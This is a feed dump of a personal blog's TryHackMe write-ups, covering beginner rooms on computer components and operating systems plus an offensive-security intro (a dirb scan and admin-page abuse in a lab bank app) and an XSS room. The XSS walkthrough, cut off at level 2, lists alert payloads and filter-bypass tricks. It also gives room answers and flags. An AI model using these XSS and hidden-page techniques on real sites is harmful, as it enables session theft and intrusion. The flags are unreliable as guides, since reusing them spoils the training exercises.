&lt;p&gt;&lt;strong&gt;Complete the room and continue on your cyber learning journey!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thanks for reading. See you in the next lab.&lt;/p&gt;</content:encoded><h:img src="/_astro/1.nrOO10sv.webp"/><enclosure url="/_astro/1.nrOO10sv.webp"/></item><item><title>Operating Systems: Introduction | TryHackMe Write-up</title><link>https://farros.co/blog/operating-systems-introduction-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/operating-systems-introduction-tryhackme-write-up/</guid><description>Complete walkthrough for Operating Systems: Introduction TryHackme room. Explore the basics of operating systems and the core features that power your computer.</description><pubDate>Thu, 26 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is my write-up for the TryHackMe room on &lt;a href=&quot;https://tryhackme.com/room/operatingsystemsintroduction&quot;&gt;Operating Systems: Introduction&lt;/a&gt;. Written in 2026, I hope this write-up helps others learn and practice cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;This section introduces the concept of an Operating System (OS) as the invisible foundational layer that connects a computer&apos;s physical hardware with its applications. Through a scenario involving a gifted old computer, the task outlines the learning objectives: understanding the core duties of an OS, identifying common OS types, and practicing basic OS interaction to gather system specifications.&lt;/p&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://tryhackme.com/room/insideacomputer&quot;&gt;Inside a Computer System&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tryhackme.com/room/computertypes&quot;&gt;Computer Types&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;I understand the learning objectives and am ready to learn about operating systems!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 2: The Invisible Manager&lt;/h2&gt;
&lt;p&gt;An Operating System acts as the central manager of a computer, functioning much like air traffic control at an airport to prevent conflicts and ensure smooth operations. It separates system privileges into two layers: the highly-privileged &lt;strong&gt;Kernel space&lt;/strong&gt; (direct hardware access) and the restricted &lt;strong&gt;User space&lt;/strong&gt; (where standard apps run and must request permissions). The core duties of an OS include managing processes, memory, file systems, users, and devices, while also providing foundational security features like authentication, permissions, and isolation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Which OS space has unrestricted access to your computer&apos;s hardware?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Kernel space&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Which OS responsibility manages user accounts, authentication, and permissions?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;User Management&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;After opening the &lt;code&gt;About This Computer&lt;/code&gt; shortcut, you are greeted with an overview of the system&apos;s specifications.&lt;/strong&gt;
&lt;strong&gt;What version of Ubuntu Mate is your computer running?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.B3IfoqTM_Z1SeA1P.webp&quot; alt=&quot;os&quot;&gt;&lt;/p&gt;
&lt;p&gt;From here we know whether the version of Ubuntu used is MATE 1.26.2.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1.26.2&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Check out the &lt;code&gt;Hardware&lt;/code&gt; section of the &lt;code&gt;System&lt;/code&gt; tab.&lt;/strong&gt;
&lt;strong&gt;How much memory is allocated to your machine?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1.9 GiB&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 3: OS Interaction and Landscape&lt;/h2&gt;
&lt;p&gt;Users typically interact with an OS through two main interfaces: a Graphical User Interface (GUI), which uses visual elements like icons and windows, or a Command-Line Interface (CLI), which relies on precise text-based commands for control. Operating systems vary widely based on their environment and are categorized into Desktop (Windows, macOS, Linux), Server (Linux, Windows Server), Mobile (Android, iOS), Embedded/IoT (Embedded Linux, RTOS), and Virtual/Cloud environments. This diverse landscape exists because different devices require unique balances of user-friendliness, stability, efficiency, and resource management.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Open the &lt;code&gt;File Systems&lt;/code&gt; tab in &lt;code&gt;System Monitor&lt;/code&gt;.&lt;/strong&gt;
&lt;strong&gt;What &lt;code&gt;Type&lt;/code&gt; is listed for the &lt;code&gt;/dev/root&lt;/code&gt; device?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.D9Ws0-fH_Z2cLict.webp&quot; alt=&quot;ext4&quot;&gt;&lt;/p&gt;
&lt;p&gt;standard Ubuntu VM environment&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ext4&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;After opening the &lt;code&gt;Home&lt;/code&gt; directory on the Desktop, how many user directories exist?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.CpoUqhuC_i4b2g.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;3&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Navigate to Alex&apos;s home directory and explore the &lt;code&gt;Documents&lt;/code&gt; folder.&lt;/strong&gt;
&lt;strong&gt;What is the flag value contained in &lt;code&gt;note.txt&lt;/code&gt;?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.DkrIXuBR_15VuLp.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{new_pc_for_free!}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 4: Conclusion&lt;/h2&gt;
&lt;p&gt;This concluding section wraps up the module by reviewing the core concepts of what an operating system manages behind the scenes. It provides a quick recap of essential terminology, including the definitions of an OS, Kernel space, User space, GUI, and CLI. Finally, it offers suggestions for further learning paths, encouraging students to dive deeper into Windows and Linux CLI basics.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Complete the room and continue on your cyber learning journey!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thanks for reading. See you in the next lab.&lt;/p&gt;</content:encoded><h:img src="/_astro/unnamed.CYichVr6.webp"/><enclosure url="/_astro/unnamed.CYichVr6.webp"/></item><item><title>Computer Types | TryHackMe Write-up</title><link>https://farros.co/blog/computer-types-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/computer-types-tryhackme-write-up/</guid><description>Complete walkthrough for Computer Types TryHackme room. Explore the different types of computers, from laptops to the tiny chips inside your coffee machine.</description><pubDate>Sat, 21 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is my write-up for the TryHackMe room on &lt;a href=&quot;https://tryhackme.com/room/computertypes&quot;&gt;Computer Types&lt;/a&gt;. Written in 2026, I hope this write-up helps others learn and practice cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;Sophia discovers that computers are not limited to traditional laptops and phones; they are also hidden inside everyday objects like smart refrigerators. The goal of this section is to help you identify and differentiate between direct-use computers (laptops, smartphones) and indirect ones (servers, IoT devices, embedded systems) based on their purposes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ready to find the hidden computers?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 2: Sophia’s Summer of Hidden Computers – Month 1&lt;/h2&gt;
&lt;p&gt;Sophia learns that computers are built differently depending on their intended use. Laptops offer portability but struggle with sustained performance due to cooling limitations. Desktops provide steady, sustained performance at a fixed location. Workstations are specialized for precision and reliability in professional tasks. Finally, Servers operate entirely without screens or keyboards, running continuously to provide services to multiple users over a network.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Which computer type usually runs without a dedicated screen and keyboard?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Server&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What kind of computer with specialized components would one buy to carry out precision work?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Workstation&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 3: Sophia’s Summer of Hidden Computers – Month 2&lt;/h2&gt;
&lt;p&gt;Millions of computers hide in plain sight inside everyday objects. Smartphones are the most popular pocket-sized computers, while tablets offer a touch-first experience. The main difference between IoT and Embedded systems is connectivity: IoT devices (like smart doorbells) connect to a network for single-purpose tasks, whereas embedded computers (found inside coffee machines or automatic doors) operate silently inside a machine and often never connect to the internet.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the currently most popular pocket-sized computer?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Smartphone&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What kind of computer would you expect to find in a coffee machine?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Embedded computer&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 4: Why Computers Come in Different Flavors&lt;/h2&gt;
&lt;p&gt;Computers come in different types because every design involves trade-offs. Making a device mobile means sacrificing sustained power, while making a system highly reliable increases the cost due to redundancy (extra power supplies and disks). There is no single &quot;best&quot; computer; the design is entirely shaped by its specific purpose.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Go through the attached static site and get the flag.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.BKXiNjul_1Mx8mL.webp&quot; alt=&quot;hidden computer&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.D6xQ9VGK_Z1PoMqM.webp&quot; alt=&quot;pc&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Workstation: edit 4K video all day.&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Server: Host a website 24/7.&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Embedded: Ring when button pressed.&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Why do laptops throttle more than desktops?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Less cooling space&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What does server redundancy prevent?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Single point of failure&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Why do smartphones last longer on battery than laptops?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Optimized for efficiency&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which feature is more common in workstations?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ECC RAM and certified drivers&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In many smart homes, what coordinates devices?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hub or cloud service&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.BXYXEiDH_10H7Q3.webp&quot; alt=&quot;8 computer type&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{8_computer_types}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 5: Summary&lt;/h2&gt;
&lt;p&gt;Sophia concludes her internship by realizing that computers are everywhere, often running silently in the background to keep daily life functioning (like opening doors or flying planes). The module covered eight distinct types of computers and the specific trade-offs involved in choosing the right tool for a given job.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Room complete!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thanks for reading. See you in the next lab.&lt;/p&gt;</content:encoded><h:img src="/_astro/unnamed.D43cXqO3.webp"/><enclosure url="/_astro/unnamed.D43cXqO3.webp"/></item><item><title>Inside a Computer System | TryHackMe Write-up</title><link>https://farros.co/blog/inside-a-computer-system-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/inside-a-computer-system-tryhackme-write-up/</guid><description>Complete walkthrough for Inside a Computer System TryHackme room. This room covers the basic components of a computer system.</description><pubDate>Fri, 20 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is my write-up for the TryHackMe room on &lt;a href=&quot;https://tryhackme.com/room/insideacomputer&quot;&gt;Inside a Computer System&lt;/a&gt;. Written in 2026, I hope this write-up helps others learn and practice cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Summary:&lt;/strong&gt;
This task introduces the importance of learning computer fundamentals before jumping into cybersecurity. Using the analogy of defending a castle, it emphasizes that you cannot protect a system if you don&apos;t understand how it works, what its building blocks are, and how they interact. The main objective is to recognize and understand the functions of various computing components.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Let&apos;s get started!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 2: Inside a Computer System&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Summary:&lt;/strong&gt;
This section explains that nearly every computer system consists of the same fundamental building blocks, each with a specific job. To make it easier to understand, the lesson uses an analogy comparing PC components to parts of the human body. An interactive static site is provided to explore these components and retrieve a flag.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Give in the flag you received after completing the exercise on the static site.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.4r3OZHus_7uM6h.webp&quot; alt=&quot;motherboard&quot;&gt;&lt;/p&gt;
&lt;p&gt;The motherboard is like the skeleton and nervous system, connecting everything together.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.Dg4JBpaM_9SjWL.webp&quot; alt=&quot;cpu&quot;&gt;&lt;/p&gt;
&lt;p&gt;The CPU is the brain of the computer, constantly executing instructions.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.Bnjsx7_c_29vSRq.webp&quot; alt=&quot;RAM&quot;&gt;&lt;/p&gt;
&lt;p&gt;RAM is like short-term memory - fast but temporary.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.QdLheM8y_Z1KX2YM.webp&quot; alt=&quot;Storage&quot;&gt;&lt;/p&gt;
&lt;p&gt;Storage devices are for long-term data retention.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.C2OI9lYf_Z21kwWv.webp&quot; alt=&quot;network adapter&quot;&gt;&lt;/p&gt;
&lt;p&gt;Network adapters let your computer talk to other systems.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-5.OTQLhFxD_ZM0DhA.webp&quot; alt=&quot;psu&quot;&gt;&lt;/p&gt;
&lt;p&gt;The PSU is like the heart, pumping power to everything.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-6.BKon7uSJ_Z1n9iGd.webp&quot; alt=&quot;gpu&quot;&gt;&lt;/p&gt;
&lt;p&gt;The graphics card processes visuals for your monitor.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-7.C5BvbQVN_Z2mGiaX.webp&quot; alt=&quot;input/output&quot;&gt;&lt;/p&gt;
&lt;p&gt;I/O devices are how we interact with computers.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-8.dwivHEd0_ZnyOcb.webp&quot; alt=&quot;component&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{4llpccomp0n3nts1d3nt1f13d}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 3: What Happens When You Press the Start Button?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Summary:&lt;/strong&gt;
This task details the 5-step boot sequence a computer goes through before loading the Operating System, continuing the human body analogy:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Press the Power Button:&lt;/strong&gt; Sends a signal to the Power Supply Unit (PSU) to allow power to flow.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Firmware Starts:&lt;/strong&gt; The Unified Extensible Firmware Interface (UEFI), which has largely replaced BIOS, starts up the components.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Power-On Self Test (POST):&lt;/strong&gt; The UEFI tests if all required components are present and functioning correctly.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Select Boot Device:&lt;/strong&gt; The UEFI checks its prioritized list to find the device containing the OS bootup routine.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Initiate Bootloader:&lt;/strong&gt; The bootloader transfers the Operating System from the boot device into the RAM and hands over control to the OS.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;What is the flag that you received after completing the exercise?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-9.BBqxawBC_2eFqB2.webp&quot; alt=&quot;power&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-10.Ctx1uiB2_gDhll.webp&quot; alt=&quot;firmware&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-11.DppY5Abn_ZQU39.webp&quot; alt=&quot;post&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-12.BCHknwCx_ZGedNu.webp&quot; alt=&quot;boot&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-13.C6rrSowl_1NNu4G.webp&quot; alt=&quot;bootloader&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-14.TxayG0Yk_ZCSbkQ.webp&quot; alt=&quot;boot sequence&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{pc5ucce55fully5t4rt3d}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 4: Conclusion&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Summary:&lt;/strong&gt;
The final task wraps up the module by reminding you that understanding core components and the boot process is crucial for future cybersecurity concepts, as hackers frequently target these areas. It also sets the stage for the next room, which will cover how different combinations of these components create diverse types of computer systems.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I am ready to discover the different types of computer systems and their function!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;Thanks for reading. See you in the next lab.&lt;/p&gt;</content:encoded><h:img src="/_astro/1.D0V_eYZf.webp"/><enclosure url="/_astro/1.D0V_eYZf.webp"/></item><item><title>Offensive Security Intro | TryHackMe Write-up</title><link>https://farros.co/blog/offensive-security-intro-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/offensive-security-intro-tryhackme-write-up/</guid><description>Complete walkthrough for Offensive Security Intro TryHackme room. Hack your first website (legally in a safe environment) &amp; experience an ethical hacker&apos;s job.</description><pubDate>Fri, 20 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is my write-up for the TryHackMe room on &lt;a href=&quot;https://tryhackme.com/room/offensivesecurityintrokKx12&quot;&gt;Offensive Security Intro&lt;/a&gt;. Written in 2026, I hope this write-up helps others learn and practice cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Think like a Hacker&lt;/h2&gt;
&lt;p&gt;Offensive Security involves thinking like an attacker to identify and fix vulnerabilities before malicious hackers can exploit them. In this exercise, you will practice hacking a simulated website to understand the methods used by ethical hackers.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Which term describes simulating a hacker&apos;s actions to find weaknesses?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Offensive Security&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 2: Starting the Lab&lt;/h2&gt;
&lt;p&gt;This task introduces the virtual desktop environment used for the simulation. You will be targeting a simulated banking application called FakeBank, which automatically opens in the lab&apos;s browser.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the bank account number in the FakeBank application?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.4BMF8Lzu_F3xob.webp&quot; alt=&quot;account name&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;8881&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 3: Find Hidden Pages&lt;/h2&gt;
&lt;p&gt;A common web vulnerability is leaving hidden administrative pages accessible. You will use a terminal-based hacking tool called &lt;code&gt;dirb&lt;/code&gt; to find these pages. By running the command &lt;code&gt;dirb http://fakebank.thm&lt;/code&gt;, the tool will scan the website and reveal hidden directories marked with a &lt;code&gt;+&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Dirb found one URL, &lt;code&gt;http://fakebank.thm/images&lt;/code&gt;. What is the other hidden URL?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.B9-zw-y0_shhfQ.webp&quot; alt=&quot;hidden url&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;http://fakebank.thm/bank-transfer&quot;&gt;http://fakebank.thm/bank-transfer&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 4: Attack the Admin Page&lt;/h2&gt;
&lt;p&gt;Using the hidden URL discovered in the previous task, you can access an admin panel that allows you to transfer funds. By navigating to the &lt;code&gt;/bank-transfer&lt;/code&gt; page, you can input your account number (8881) and deposit $2000 to successfully manipulate your account balance.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;When your balance turns positive, a pop-up with green text appears. Enter the green words as the answer&lt;/strong&gt; (ALL CAPS)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.BECppBCD_218Sb.webp&quot; alt=&quot;transfer&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;BANK HACKED&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thanks for reading. See you in the next lab.&lt;/p&gt;</content:encoded><h:img src="/_astro/1.DdvpND7F.webp"/><enclosure url="/_astro/1.DdvpND7F.webp"/></item><item><title>Intro to Cross-site Scripting | TryHackMe Write-up</title><link>https://farros.co/blog/intro-to-cross-site-scripting-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/intro-to-cross-site-scripting-tryhackme-write-up/</guid><description>Walkthrough for Intro to Cross-site Scripting TryHackme room. Learn how to detect &amp; exploit XSS vulnerabilities, giving you control of other visitor&apos;s browsers</description><pubDate>Wed, 18 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is my write-up for the TryHackMe room on &lt;a href=&quot;https://tryhackme.com/room/xss&quot;&gt;Intro to Cross-site Scripting&lt;/a&gt;. Written in 2026, I hope this write-up helps others learn and practice cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Room Brief&lt;/h2&gt;
&lt;p&gt;This room introduces Cross-Site Scripting (XSS), a common injection attack where malicious JavaScript is injected into a web application to be executed by other users. You will learn about different XSS types, how to create and modify payloads to bypass filters, and apply these skills in a practical lab.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What does XSS stand for?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Cross-Site Scripting&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 2: XSS Payloads&lt;/h2&gt;
&lt;p&gt;A payload in XSS is the JavaScript code intended to execute on the target&apos;s computer. It consists of the &quot;intention&quot; (what you want the script to do, like stealing sessions or logging keystrokes) and the &quot;modification&quot; (how you adapt the code to run in a specific scenario). Common intentions include Proof of Concept (PoC) alerts, session stealing, keyloggers, and exploiting business logic.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Which document property could contain the user&apos;s session token?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;document.cookie&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Which JavaScript method is often used as a Proof Of Concept?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;alert&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 3: Reflected XSS&lt;/h2&gt;
&lt;p&gt;Reflected XSS occurs when unvalidated user input is immediately included in the webpage source via an HTTP request. Attackers can craft malicious links and send them to victims. When the link is clicked, the script runs in the victim&apos;s browser. Testing points typically include URL query parameters, URL file paths, and sometimes HTTP headers.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Where in an URL is a good place to test for reflected XSS?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;parameters&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 4: Stored XSS&lt;/h2&gt;
&lt;p&gt;Stored XSS happens when a malicious payload is saved directly onto the web application (e.g., in a database) and executes when other users visit the affected page. Common entry points include blog comments, user profiles, and website listings. This is highly dangerous as it requires no direct social engineering once the payload is planted.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How are stored XSS payloads usually stored on a website?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;database&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 5: DOM Based XSS&lt;/h2&gt;
&lt;p&gt;DOM (Document Object Model) Based XSS executes JavaScript directly in the browser without loading new pages or sending data to the backend. It occurs when a website&apos;s JavaScript acts unsafely on user input (like &lt;code&gt;window.location.hash&lt;/code&gt;) and writes it into the webpage&apos;s DOM or passes it to unsafe functions like &lt;code&gt;eval()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What unsafe JavaScript method is good to look for in source code?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;eval()&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 6: Blind XSS&lt;/h2&gt;
&lt;p&gt;Blind XSS is a variant of stored XSS where the payload is saved on the server, but the attacker cannot see it execute. A common example is injecting code into a contact form that is later viewed by a staff member on a private support portal. Attackers typically use payloads with callbacks (HTTP requests) and tools like XSS Hunter Express to capture execution details.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What tool can you use to test for Blind XSS?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;XSS Hunter Express&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What type of XSS is very similar to Blind XSS?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Stored XSS&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 7: Perfecting your payload&lt;/h2&gt;
&lt;p&gt;This task covers adapting your payload to match how it is reflected in the target&apos;s HTML source code. Techniques include escaping HTML attributes (e.g., &lt;code&gt;&quot;&gt;&lt;/code&gt;), closing existing tags (e.g., &lt;code&gt;&amp;#x3C;/textarea&gt;&lt;/code&gt;), breaking out of JavaScript variables (e.g., &lt;code&gt;&apos;;&lt;/code&gt;), bypassing simple word filters by nesting strings (e.g., &lt;code&gt;&amp;#x3C;sscriptcript&gt;&lt;/code&gt;), and utilizing HTML event attributes like &lt;code&gt;onload&lt;/code&gt;. It also introduces XSS Polyglots, which are complex strings designed to bypass multiple contexts and filters at once.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the flag you received from level six?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Okay, the method here is quite simple; just follow the instructions from level one to level 6 until you eventually get the flag once completed.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;Level 1: &amp;#x3C;script&gt;alert(&apos;THM&apos;);&amp;#x3C;/script&gt;
Level 2: &quot;&gt;&amp;#x3C;script&gt;alert(&apos;THM&apos;);&amp;#x3C;/script&gt;
